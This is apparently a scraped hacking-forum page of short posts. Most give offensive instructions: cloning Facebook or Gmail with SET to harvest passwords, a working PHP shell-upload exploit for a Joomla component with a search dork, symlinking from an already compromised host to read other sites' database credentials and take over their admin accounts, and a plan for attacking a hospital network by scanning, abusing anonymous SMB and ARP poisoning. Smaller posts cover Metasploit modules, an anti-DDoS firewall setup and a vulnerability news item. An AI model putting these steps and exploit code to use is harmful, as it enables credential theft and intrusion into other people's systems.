How to use admin finder in backtrack 5r3

admin finder tool link =http://adf.ly/RHS8Z

Read More

Hack facebook account and Gmail account using Backtrack 5

Hack facebook account and Gmail account using Backtrack 5 In my previous tutorial I have explained “ How to hack facebook account using phishing ” , Now in this tutorial I am going to show you how to hack facebook account using backtrack 5. So just follow the simple steps. Open your backtrack 5’s terminal and type cd /pentest/exploits/set Now Open social Engineering Tool kit (SET) ./set Just hit ENTER and SET will Open , Now just select 1st option (1 Social-Engineering Attacks) and hit enter after that 2nd number (just type 2 as shown in snapshot) Now Just select 4th Option “Tabnabbing Attack Method” and Hit ENTER Then select 2nd option “Site Cloner” and Hit ENTER Now here you need to add the URL of Facebook (if you want to hack gmail then just add the gmail’s URL) Now just hit the enter. Open new terminal and just type ifconfig and hit ENTER Now just copy this IP address and open it in Browser. Now here I am just typing test email and password to see whether it works or not. Now just hit enter and switch back to our terminal and we found the Email and password ! This tutorial is just educational purpose

Read More

Joomla Rokdownloads Shell Upload

oomla Rokdownloads Shell Upload

Quote:#################################

# Exploit Title : joomla com_rokdownloads Components shell upload Vulnerability

# Software Link : http://www.joomla.org

# Security Risk : High

# Tested on : Linux

# Dork : inurl:administrator/components/com_rokdownloads

#################################
Exploit :

Post.php

<?php

$uploadfile="hit.php.gif";

$ch =
curl_init("http://www.exemple.com/administrator/components/com_rokdownloads/assets/uploadhandler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.exemple.com/images/stories/hit.php.gif

#################################

Read More

Serious Vulnerability in Samsung Galaxy S4

Serious security vulnerability was recently discovered on the Samsung flagship Galaxy S4 device, claiming that attackers can use it to silently send text messages.
A rogue mobile application could contain code exploiting the vulnerability to send fraudulent scam text messages ordering premium-rate services, the firm said.
By exploiting the vulnerable cloud backup feature, malware could pretend to be the identity of any contact, friend, relative, or organization when faking phishing SMS messages. When these phishing SMS messages are received, users may be tricked into clicking fraudulent links or disclosing sensitive personal information.

This particular vulnerability is related to the “cloud backup” feature of Galaxy S4, which is not properly protected and can be abused. From the study, malicious software could potentially exploit it to send fraudulent scam text messages (to order premium-rated services) or fake incoming SMS messages (for phishing).

Qihoo recommends S4 users temporarily disable the cloud backup feature when not in use. A temporary fix has also been made by Qihoo 360, and can be deactivated once the security flaw has been patched.

Read More

Adding your own exploits and modules in Metasploit

  Adding your own exploits and modules in Metasploit

 No not an exploit-dev 101 post but maybe an advanced tip for people new to using the Metasploit Framework. I see this question all the time so here is a little mini tutorial.

In Linux (For the love of god, don't run msf on Windows) when you install metasploit you get a hidden .msf(/home/$user/.msf) directory in your home directory.

It starts out empty, but this is where you want to place all updated exploit modules, auxiliary modules, meterpreter scripts, etc.

Why? Well if you start modifying exploits in the trunk when you do an update it will start bitching at you about it not being the same exploit and may possible overwrite your stuff and that's no fun.

Example time.

Say you want to add the "HP StorageWorks NSI Double Take Remote Overflow Exploit (meta)" exploit located on milworm. Its already in the trunk, so if you want to follow along you'll have to rm it.

What you have to do is create the same directory structure in your .msf folder as you have in your regular msf folder. So, looking at the exploit on milworm we see the path is:

class Exploits::Windows::Misc::Doubletake

So we cd into our .msf folder and create our modules folder (If you are lost, look at your regular msf folder and make a similar directory structure). Once we do that we need to create an exploits folder, a windows folder, and misc folder. Then we'll stick our doubletake.rb file into that folder.

cg@segfault:~/.msf3$ mkdir modules
cg@segfault:~/.msf3$ cd modules/
cg@segfault:~/.msf3/modules$ mkdir exploits
cg@segfault:~/.msf3/modules$ cd exploits/
cg@segfault:~/.msf3/modules/exploits$ mkdir windows
cg@segfault:~/.msf3/modules/exploits$ cd windows/
cg@segfault:~/.msf3/modules/exploits/windows$ mkdir misc
cg@segfault:~/.msf3/modules/exploits/windows$ cd misccg@segfault:~/.msf3/modules/exploits/windows/misc$ ls -l
total 4
-rw-r--r-- 1 cg cg 2277 2008-07-20 12:22 doubletake.rb
You don't need to mirror the directory structure completely, just add what you are adding. If you had Linux exploits you would add a linux folder in the exploits folder, since we don't its not necessary.

If everything worked right when you start the console you'll see one more exploit and you'll now be able use that exploit in the framework.

Before:

=[ msf v3.2-release
+ -- --=[ 302 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux

After:

=[ msf v3.2-release
+ -- --=[ 303 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux

Now we can use the exploit.

msf > use exploit/windows/misc/doubletake
msf exploit(doubletake) > info

Name: doubletake Overflow
Version: 9
Platform: Windows
Privileged: No
License: Metasploit Framework License

Provided by:
ri0t

Available targets:
Id Name
-- ----
0 doubletake 4.5.0
1 doubletake 4.4.2
2 doubletake 4.5.0.1819

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 1100 yes The target port

Payload information:
Space: 500
Avoid: 1 characters

Description:
This Module Exploits a stack overflow in the authentication
mechanism of NSI Doubletake which is also rebranded as hp storage
works Vulnerability found by Titon of Bastard Labs.

msf exploit(doubletake) >

same thing goes for auxiliary modules, just make an auxiliary folder in the modules directory and populate it accordingly. Pretty much the same thing for meterpreter scripts except the scripts aren't in the modules directory they are in their own, so in this case we'd make our scripts/meterpreter directories in the main .msf directory.

Read More

Easiest Symlink Tutorial Ever::.. :D

Easiest Symlink Tutorial Ever::.. :D 

 

First of all download the symlink shells needed from here:--http://www.mediafire.com/download/odrap83gpoxdno2/symlink.rar


Now there you will get 2 shells named dbman.php (Database Manager n00b!) and sym.php (the main tool auto symlinker ;) ) 


Now you should have a shelld site of course :P


Now upload both shells in any writeable directory 


Next step is to open both shells (Open in different tabs)


Now goto sym.php and click on user and domains it'll list you all sites on dat server also after opening you'll get to see symlink option now choose any site and click symlink :D


(If you select the domains and script option it'll list you all wp, joomla, vbulletin etc sites on d server)


Find the config file on d site you symlinked and read it you'll see sumthing like this:----


/** MySQL database username */

define('DB_USER', 'csseguid_nauqri');

/** MySQL database password */

define('DB_PASSWORD', 'qwe0345**');

/** MySQL hostname */

define('DB_HOST', 'localhost');



Now after reading config.php file u got the sites database username and pass

next we will login using dat credentials into our database manager shell

after logging in just find the admin table and change d pass to your own md5 hash

nw u have reset d admins pass to your own ;0 go and login into the site admin panel :D

Database config files locations:

vBulletin -- /includes/config.php

IPB -- /conf_global.php

MyBB -- /inc/config.php Phpbb -- /config.php

Php Nuke -- /config.php Php-Fusion -- config.php

SMF -- /Settings.php

Joomla -- configuration.php , configuration.php-dist

WordPress -- /wp-config.php

Drupal -- /sites/default/settings.php

Oscommerce -- /includes/configure.php

e107 -- /e107_config.php
Seditio -- /datas/config.php


Easy huh symlinking? ;)

Read More

Anti ddos Linux

Anti ddos Linux
DDoS protection is a big part of a sysadmins job these days, especially on big forums/hosts.
Obviously, the best plan would be to buy another server, set up a CISCO firewall on it and reroute all traffic to main server. Unfortunately, this would require funds for another dedicated server.

So, the only solution that would work right now is using the box itself as a firewall,this tutorial is for cpanel.

First things first, we make sure that everything is up to date.

Code:

yum update && yum upgrade

Ok, time to install a decent firewall. Because this server is running cPanel, we may as well use a firewall that integrates into cPanel. This is just to allow for easy configuration, CSF is great so we shall be installing that.

Code:

wget http://www.configserver.com/free/csf.tgz
tar -xzvf csf.tgz
cd csf
sh install.sh

Simple as that! Now we need to configure the firewall. Log into http://IP:2086 in an internet browser using your root username and password. Click ConfigServer Security&Firewall under Plugins. Click Firewall configuration.

Code:

Change testing to 0
SYN_FLOOD = 1
PORTFLOOD = 80
DENY_TEMP_IP_LIMIT  = 100000

And click 'change'. Restart csf+lfd then return. Next go to firewall security level. Click High then restart csf+lfd.

Next, we need some extra firewall rules to filter the common packets found in DDoS attacks. We will also limit the number of connections allowed to the server.

Code:

echo 1 > /proc/sys/net/ipv4/tcp_syncookies
iptables -A INPUT -p tcp --syn --dport 80 -d ! 127.0.0.1 -m connlimit --connlimit-above 100 -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags ACK,FIN FIN -j DROP
iptables -A INPUT -p tcp --tcp-flags ACK,PSH PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ACK,URG URG -j DROP
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A OUTPUT -m state --state INVALID -j DROP
iptables -A FORWARD -m state --state INVALID -j DROP

iptables -N syn-flood
iptables -A syn-flood -m limit --limit 1/second --limit-burst 4 -j RETURN
iptables -A syn-flood -j DROP

iptables -N udp-flood
iptables -A udp-flood -m limit --limit 4/second --limit-burst 4 -j RETURN
iptables -A udp-flood -j DROP

iptables -A INPUT -i eth0 -p tcp --tcp-flags  SYN,RST,ACK,FIN SYN,ACK -j syn-flood # SYN flood
iptables -A INPUT -i eth0 -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -i eth0 -p udp -j udp-flood
iptables -A INPUT -i eth0 -f -j DROP
service iptables save

next, we will install some connection based IP banning. There is some software called ddos_deflate that we are going to use.
Download ddos_deflate.

Code:

wget http://www.inetbase.com/scripts/ddos/install.sh
sh install.sh

Great, that's installed. Now we need to change some settings.

Code:

nano /usr/local/ddos/ddos.conf

And set these vars:

Code:

* NO_OF_CONNECTIONS=100
    * EMAIL_TO="herp@derp.com"
    * BAN_PERIOD=12000
    * APF_BAN=0

Save the file and exit. Next we need to modify ddos_deflate to work with CSF.

Code:

nano /usr/local/ddos/ddos.sh

On line 138 there should be this text

Code:

$IPT -I INPUT -s $CURR_LINE_IP -j DROP

Change that line to

Code:

csf -d $CURR_LINE_IP

Save the file and exit. Next we need to modify ddos_deflate to work with CSF.

Code:

cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos

I have also a mod of ddos_deflate to work with SYN packets. There was once a program called syn_deflate that was exactly this, however the script was stopped being made avaliable and was lost forever!

Code:

mkdir /usr/local/synd
nano /usr/local/synd/synd.conf

The contents of synd.conf:

Code:

##### Paths of the script and other files
PROGDIR="/usr/local/synd"
PROG="/usr/local/synd/synd.sh"
IGNORE_IP_LIST="/usr/local/synd/ignore.ip.list"
CRON="/etc/cron.d/synd.cron"
APF="/etc/apf/apf"
IPT="/sbin/iptables"
##### frequency in minutes for running the script
##### Caution: Every time this setting is changed, run the script with --cron
#####          option so that the new frequency takes effect
FREQ=1

##### How many connections define a bad IP? Indicate that below.
NO_OF_CONNECTIONS=10

##### APF_BAN=1 (Make sure your APF version is atleast 0.96)
##### APF_BAN=0 (Uses iptables for banning ips instead of APF)
APF_BAN=0

##### KILL=0 (Bad IPs are'nt banned, good for interactive execution of script)
##### KILL=1 (Recommended setting)
KILL=1

##### An email is sent to the following address when an IP is banned.
##### Blank would suppress sending of mails
EMAIL_TO="herp@derp.com"

##### Number of seconds the banned ip should remain in blacklist.
BAN_PERIOD=12000

Next

Code:

nano /usr/local/synd/ignore.ip.list

Code:

127.0.0.1
external.ip.address

Code:

nano /usr/local/synd/synd.sh

Code:

#!/bin/sh
load_conf()
{
    CONF="/usr/local/synd/synd.conf"
    if [ -f "$CONF" ] && [ ! "$CONF" ==    "" ]; then
        source $CONF
    else
        head
        echo "\$CONF not found."
        exit 1
    fi
}

head()
{
    echo "Syn-Deflate"
    echo "Based on DoS-Deflate"
    echo
}

showhelp()
{
    head
    echo 'Usage: synd.sh [OPTIONS] [N]'
    echo 'N : number of SYN_RECV connections (default 10)'
    echo 'OPTIONS:'
    echo '-h | --help: Show    this help screen'
    echo '-c | --cron: Create cron job to run this script regularly (default 1 mins)'
    echo '-k | --kill: Block the offending ip making more than N SYN_RECV connections'
}

unbanip()

Next:

Code:

chmod 0755 /usr/local/synd/synd.sh
cp -s /usr/local/synd/synd.sh /usr/local/sbin/synd
/usr/local/synd/synd.sh --cron > /dev/null 2>&1

And we are all done! The server now has some pretty intense DDoS protection now!

---

Read More

Attacking WebServers - Different Vectors - Tutorial

Attacking WebServers - Different Vectors - Tutorial

Before i talk about this post you should read my other 2 guides i wrote about
just click my profile then go to threads and you will see those 2

This Guide is to teach you how to do Information Gathering and attacking your targets


Today hackers mainly only target web hosting servers this guide is different this guide teaches you how to attack targeted servers



Lets say you have a Medical Hospital that you are wanting to target.

Now lets face it 9 * out of 10 all of you hackers would only target the website because thats what your used to

Well today im teaching you how to do more then just that

Tools:

1.nmap
2.Maltego
3.DirBuster
4.smbclient
5.Cain and abel
+ More

Lets say a medical company has a subnet ip range of

224.231.12-224.231.12.255


Your First targeted ip address is 224.231.12.234

First thing you need to do is run a Nmap Scan on the Targeted IP address

example

Code:

Discovered open port 443/tcp on 74.125.227.37
Discovered open port 80/tcp on 74.125.227.37

Now lets just say assume there are more ports open what do you do first.

Allow the nmap scan to finish and lets say it finds ports

7717

Which is a service controller for a Software that allows Remote connections to it via a Terminal service

Lets say you logged into it and you dont know the passwords - Google the service provide and check the default username passwords for the service

okay so lets say that doesnt work this ip address only has 2 ports open

What do you do now

So now its time to move onto the next ip address


open up maltego input the ip address and click run all transformations

you will then see the subnets and then you can right click on the subnets to spread out all the ip addresses

Or if your on windows use angry ip scanner to get the IP subnets


Now you have a list of over 100+ ip addresses and you dont know what to do



First thing is run nmap - http Print Scan ( Google it )

What that does is it connects to every ip address does a nmap scan on it and connects to all ports and displays to you the Fingerprint of it such as

nmap --->scan ip 127.0.0.1 --> open ports 21,80,53
http print scan -> Port 80 "Welcome to Service Station"

So now you know what all services are running on the whole entire network

now You go to random ip addresses and start issuing off exploits based off the knowledge you got


Lets say one ip address has a Folder that is not viewabled to the public but you know the user rights on it allows you to view other folders such as

127.0.0.1/ ( not viewable)
127.0.0.1/FolderName/File.txt (Viewable)
127.0.0.1/FolderName/Folder/(viewable)


What that means is that the admin didnt set the policy correctly for the Can View cant View folder directories

What you would do with this situation is run a bruteforce attack

By using DirBuster which uses Parallel Asynnorization (however you spell it )

Which means it can scan multiple things at every second instead of just scanning 1 thread it will scan lets say 10 at the same time for faster stuff

By running DirBuster you can now get a list of the viewable folders (hopefully) depending on your DirList

Sometimes you can get the Full Directory and sometimes there can be usernames passwords or basic info to help you in your further attacks.
----------------------------------------------------------------------------------------------

Now Lets say your targeting a Windows Server that has SMB running on it with Anonymous Login

Code:

Anonymous login successful

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED
session request to 173.254.196.118 failed (Called name not present)
session request to 173 failed (Called name not present)
Anonymous login successful

Server Comment
--------- -------
AIM-BCRTR-6930
AIM-CAYSH
AIM-GLB
AIM-USPRAUVE7
AIMCHANEXCH
AIMCHANMBX1

By using SMBCLIENT

Code:

# open (host,port)

Code:

 open {host,port} - opens a SMB connection against the target host/port
 login {username,passwd} - logs into the current SMB connection
 login_hash {username,lmhash,nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 pwd - shows current remote directory
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

You can connect to its service and do the avaiable options up above

Not only that with the SMB service it displays multiple usernames and Names of the Staff - You can use that to help further your attack for Bruteforcing

If your on the local network you can run cain and able to do a ARP Poisoning attack Which will sniff the whole entire network and giving you hash codes - usernames - passwords etc etc

Which is also good for getting access to private company INTRANET ip address port 80 websites

Thanks

Read More

Best 40 Exploits WEBSITES

Best 40 Exploits WEBSITES

//www.1337day.com
http://www.exploit4arab.com/
http://www.my-exploit.com/
http://www.cvedetails.com/
http://exploitsearch.com/
http://remoteexecution.info/
http://nullsecurity.net/
http://sec.jetlib.com/
http://intelligentexploit.com/
http://exploit-id.com/
http://exploitsdownload.com/
http://vuln.bursali.eu/archive/?vp=1
http://sebug.net/
http://exploitsearch.net/
http://community.sol...llsecurity.com/
http://secdocs.lonerunners.net/
http://packetstormsecurity.org/
https://raykoid666.wordpress.com/
http://www.giant-gaza.com/
https://web.nvd.nist...rc...earch=true
http://kinginfet.net...ln_db&mode=view
http://zerodayinitia...ries/published/
http://wpsecure.net/
http://wooyun.org/
http://www.vupen.com/english/
http://www.ussrback.com/
http://securityhome.eu/
http://vulnerabilityscanning.com/
http://vfocus.net/art/index_exp.html
http://secureroot.com/
http://www.exploit-db.com/
http://www.securityfocus.com/
http://www.securiteam.com/
http://cxsecurity.com/
https://www.kernel.org/
http://xssed.com/
http://securityvulns.com/
http://www.teamshatt.../threat-finder/
http://routerpwn.com/
http://osvdb.org/
http://www.allinfosec.com

Read More

How 2 decrypt passwords a complete tut!!

1. How 2 decrypt passwords a complete tut!!

   i hope you all like and find useful
   
   How to decrypt passwords Tutorial
   
   Probably if you're looking at this tutorial is because you don't know how to decrypt passwords to download keylogger, rats, etc.
   
   Okay my intentions of doing this tutorial are for noobs that doesn’t know how to decrypt passwords and they keep posting how I can decrypt the password.
   
   First there are many ways that the people crypt password, examples:
   
   U-ASCII Encode, T-ASCII Encode, F-ASCII Encode, AER-256 Encrypt, ARMON-64 Encrypt, ATOM-128 Encrypt, BASE-64 Encrypt, ESAB-46 Encrypt, EZIP-64 Encrypt, FERON-74 Encrypt, GILA7 Encrypt, HAZZ-15 Encrypt, MEGAN-35 Encrypt, OKTO3 Encrypt, TIGO-3FX Encrypt, TRIPO-5 Encrypt, ZARA-128 Encrypt, ZONG22 Encrypt.
   All these types of encryptions are found at crypo.com
   
   Now let's say the password is:
   S0Q5WGZoS3FUbWhmS3kwZw==
   And he says encrypted method [TRIPO-5 -> ATOM-128 -> BASE-64].
   You need to copy the password as exactly as it is, cause if you miss a letter or number it won't be the same password, and start decrypting it from backwards since it was encrypted this way [TRIPO-5 -> ATOM-128 -> BASE-64] you need to decrypt it this way [BASE-64->ATOM-128->TRIPO-5]. The result should be Tutorial , if it wasn’t Tutorial you made an error and try again following the steps I told you. If he says decryption method is [TRIPO-5 -> ATOM-128 -> BASE-64] you just decrypt it like it says.
   
   When people say in their encryption method HEX you need to decrypt it with HEX TO ASCII an example:
   The password is:
   NTQgNzUgNzQgNmYgNzIgNjkgNjEgNmM=
   Encryption method was [HEX -> BASE-64] you need to decrypt it this way [BASE-64 -> HEX TO ASCII ], The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you. HEX TO ASCII decrypting method can be found here YELLOWPIPE.COM
   
   There are other ways of encryptions such as Backwards also called Reverser/(ed), this is found two at crypo.com, lets say another example:
   The password is:
   BbaMCzGFsRA4
   Encryption method was [BACKWARDS -> FERON-74] you need to decrypt it this way [FERON-74 -> BACKWARDS ], The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you.
   
   I've seen people that have also tried to confuse people by adding to the encryption method NORMAL TEXT, in this case you don't need to do anything an example:
   The password is:
   BbaMCzGFsRA4
   
   Encryption method was [NORMAL TEXT -> BACKWARDS -> FERON-74] you need to decrypt it this way [FERON-74 -> BACKWARDS] only, they add NORMAL TEXT to confuse noobs but really you just skip that way. The result should be Tutorial, if it wasn’t Tutorial you made an error and try again following the steps I told you.
   
   A lot of people are asking what to do for binary look here:
   For binary you just decrypt it Binary to ACSII and for Hex you decrypt it Hex to ASCII too, in example:
   
   
   Code:
   30 31 30 31 30 31 30 30 20 30 31 31 31 30 31 30 31 20 30 31 31 31 30 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 31 30 30 31 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 30
   
   Encryped method:[ Binary -> Hex ]
   
   To decrypt copy the code and then at Yellowpipe.com you select first the option Hex to ACSII then you copy the result, and then select the option Binary to ASCII,
   The answer should be Tutorial if it's not try again.
   
   All these method of encryptions are found at: CRYPO.COM
   Other encryptions methods can be found at: YELLOWPIPE.COM. :cool::cool:

   
   

Read More